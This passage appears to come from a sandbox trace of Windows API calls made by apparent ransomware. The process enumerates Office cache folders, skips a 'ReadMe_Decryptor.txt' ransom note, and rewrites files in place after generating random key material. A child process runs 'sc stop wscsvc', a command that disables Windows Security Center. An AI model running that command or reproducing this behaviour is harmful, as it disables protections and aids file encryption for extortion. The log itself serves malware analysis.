lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5dad20 [0056.780] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.780] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.780] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.780] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.780] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0056.780] lstrcmpW (lpString1="Proof.en", lpString2=".") returned 1 [0056.780] lstrcmpW (lpString1="Proof.en", lpString2="..") returned 1 [0056.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0056.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0056.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0056.782] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x0, lpFindFileData=0x235efb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235efb0) returned 0x5dada0 [0056.782] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.782] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x235efb0 | out: lpFindFileData=0x235efb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.784] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.784] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.784] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x235efb0 | out: lpFindFileData=0x235efb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0056.784] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.784] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.784] lstrcmpW (lpString1="Proof.cab", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0056.785] GetFileSize (in: hFile=0x29c, lpFileSizeHigh=0x235ef74 | out: lpFileSizeHigh=0x235ef74*=0x0) returned 0xaf35ed [0056.785] LockFile (hFile=0x29c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf3705, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.785] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.785] ReadFile (in: hFile=0x29c, lpBuffer=0x235ef54, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235eef8, lpOverlapped=0x0 | out: lpBuffer=0x235ef54*, lpNumberOfBytesRead=0x235eef8*=0x18, lpOverlapped=0x0) returned 1 [0056.787] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.787] ReadFile (in: hFile=0x29c, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235eef8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235eef8*=0x100000, lpOverlapped=0x0) returned 1 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.797] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.797] GetLastError () returned 0x0 [0056.797] SetLastError (dwErrCode=0x0) [0056.797] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.797] GetLastError () returned 0x0 [0056.797] SetLastError (dwErrCode=0x0) [0056.797] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.797] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.797] GetLastError () returned 0x0 [0056.797] SetLastError (dwErrCode=0x0) [0056.798] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x38b2060 [0056.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x38d2048 [0056.799] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b2060 | out: hHeap=0x540000) returned 1 [0056.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x38d4088 [0056.799] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d2048 | out: hHeap=0x540000) returned 1 [0056.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x292de48 [0056.799] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d4088 | out: hHeap=0x540000) returned 1 [0056.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x2935e88 [0056.800] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de48 | out: hHeap=0x540000) returned 1 [0056.801] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x2945ec8 [0056.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2935e88 | out: hHeap=0x540000) returned 1 [0056.802] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x2965f08 [0056.805] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2945ec8 | out: hHeap=0x540000) returned 1 [0056.806] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0056.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2965f08 | out: hHeap=0x540000) returned 1 [0056.903] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0056.920] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.920] WriteFile (in: hFile=0x29c, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235eef8, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x235eef8*=0x118, lpOverlapped=0x0) returned 1 [0056.920] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.920] WriteFile (in: hFile=0x29c, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235eef8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235eef8*=0x100000, lpOverlapped=0x0) returned 1 [0056.923] UnlockFile (hFile=0x29c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf3705, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.923] CloseHandle (hObject=0x29c) Thread: id = 41 os_tid = 0xa50 [0033.433] GetLastError () returned 0x57 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x364) returned 0x563408 [0033.433] SetLastError (dwErrCode=0x57) [0033.433] GetCurrentThreadId () returned 0xa50 [0033.433] GetCurrentThreadId () returned 0xa50 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5615a8 [0033.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb18 | out: hHeap=0x540000) returned 1 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x579f40 [0033.433] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x579f60, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5615c0 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x55fb48 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558748 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a088 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558950 [0033.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558748 | out: hHeap=0x540000) returned 1 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560158 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5597f8 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5601b0 [0033.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560158 | out: hHeap=0x540000) returned 1 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560158 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x48) returned 0x55fbb0 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560208 [0033.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5597f8 | out: hHeap=0x540000) returned 1 [0033.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560158 | out: hHeap=0x540000) returned 1 [0033.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558748 [0033.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5612e0 [0033.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558978 [0033.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55fbb0 | out: hHeap=0x540000) returned 1 [0033.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558748 | out: hHeap=0x540000) returned 1 [0033.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x59afe8 [0033.436] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x59b000, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x55fbb0 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x561348 [0033.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5612e0 | out: hHeap=0x540000) returned 1 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5612e0 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5613e0 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd8) returned 0x5bb018 [0033.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561348 | out: hHeap=0x540000) returned 1 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560158 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560260 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5602b8 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x138) returned 0x5bb0f8 [0033.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb018 | out: hHeap=0x540000) returned 1 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560310 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x560368 [0033.436] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x245fcb0, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558748 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5589a0 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c8) returned 0x5bb238 [0033.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb0f8 | out: hHeap=0x540000) returned 1 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5589c8 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb420 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5589f0 [0033.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59afe8 | out: hHeap=0x540000) returned 1 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557408 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x561348 [0033.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557408 | out: hHeap=0x540000) returned 1 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x124fa3) returned 0x2590020 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5bbc08 [0033.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x130) returned 0x5bbe20 [0033.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558a18 [0033.437] CryptAcquireContextA (in: phProv=0x245fcb0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x245fcb0*=0x5bbf58) returned 1 [0033.437] CryptGenRandom (in: hProv=0x561dd0, dwLen=0x20, pbBuffer=0x558a18 | out: pbBuffer=0x558a18) returned 1 [0033.437] CryptReleaseContext (hProv=0x5bbf58, dwFlags=0x0) returned 1 [0033.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558a18 | out: hHeap=0x540000) returned 1 [0033.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558a18 [0033.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x563990 [0033.437] QueryPerformanceCounter (in: lpPerformanceCount=0x245fc08 | out: lpPerformanceCount=0x245fc08*=17530861097) returned 1 [0033.439] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0033.439] GetLastError () returned 0x57 [0033.439] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0033.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x245fc48 | out: lpSystemTimeAsFileTime=0x245fc48*(dwLowDateTime=0xa4da8fa0, dwHighDateTime=0x1d5e09d)) [0033.440] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557408 [0033.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a088 [0033.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0033.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb18 [0033.443] GetLastError () returned 0x7e [0033.443] SetLastError (dwErrCode=0x7e) [0033.443] GetLastError () returned 0x7e [0033.443] SetLastError (dwErrCode=0x7e) [0033.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0033.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb458 [0033.443] GetLastError () returned 0x7e [0033.443] SetLastError (dwErrCode=0x7e) [0033.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb458 [0033.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5bbf58 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x558a40 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x563778 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb58 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558a68 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5615d8 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb68 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558a90 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5615f0 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x564bc0 [0033.444] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5653a8 [0033.444] GetLastError () returned 0x7e [0033.444] SetLastError (dwErrCode=0x7e) [0033.444] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.654] GetLastError () returned 0x7e [0033.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x28) returned 0x5613b0 [0033.662] SetLastError (dwErrCode=0x7e) [0033.662] GetLastError () returned 0x7e [0033.662] SetLastError (dwErrCode=0x7e) [0033.662] GetLastError () returned 0x7e [0033.662] SetLastError (dwErrCode=0x7e) [0033.662] GetLastError () returned 0x7e [0033.662] SetLastError (dwErrCode=0x7e) [0033.665] GetLastError () returned 0x7e [0033.665] SetLastError (dwErrCode=0x7e) [0085.205] GetLastError () returned 0x0 [0085.205] SetLastError (dwErrCode=0x0) [0085.206] GetLastError () returned 0x0 [0085.206] SetLastError (dwErrCode=0x0) [0085.206] GetLastError () returned 0x0 [0085.206] SetLastError (dwErrCode=0x0) [0085.206] GetLastError () returned 0x0 [0085.206] SetLastError (dwErrCode=0x0) Thread: id = 42 os_tid = 0xaf4 Thread: id = 57 os_tid = 0xcbc Thread: id = 59 os_tid = 0xcc8 Thread: id = 60 os_tid = 0xccc Process: id = "4" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x33078000" os_pid = "0x32c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "sc stop wscsvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xad4 [0037.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f7f4 | out: lpSystemTimeAsFileTime=0x26f7f4*(dwLowDateTime=0xa75d42e0, dwHighDateTime=0x1d5e09d)) [0037.677] GetCurrentProcessId () returned 0x32c [0037.677] GetCurrentThreadId () returned 0xad4 [0037.677] GetTickCount () returned 0x11548a5 [0037.677] QueryPerformanceCounter (in: lpPerformanceCount=0x26f7ec | out: lpPerformanceCount=0x26f7ec*=17954804546) returned 1 [0037.677] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.677] __set_app_type (_Type=0x1) [0037.677] __p__fmode () returned 0x76be31f4 [0037.677] __p__commode () returned 0x76be31fc [0037.677] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.678] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.678] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.681] 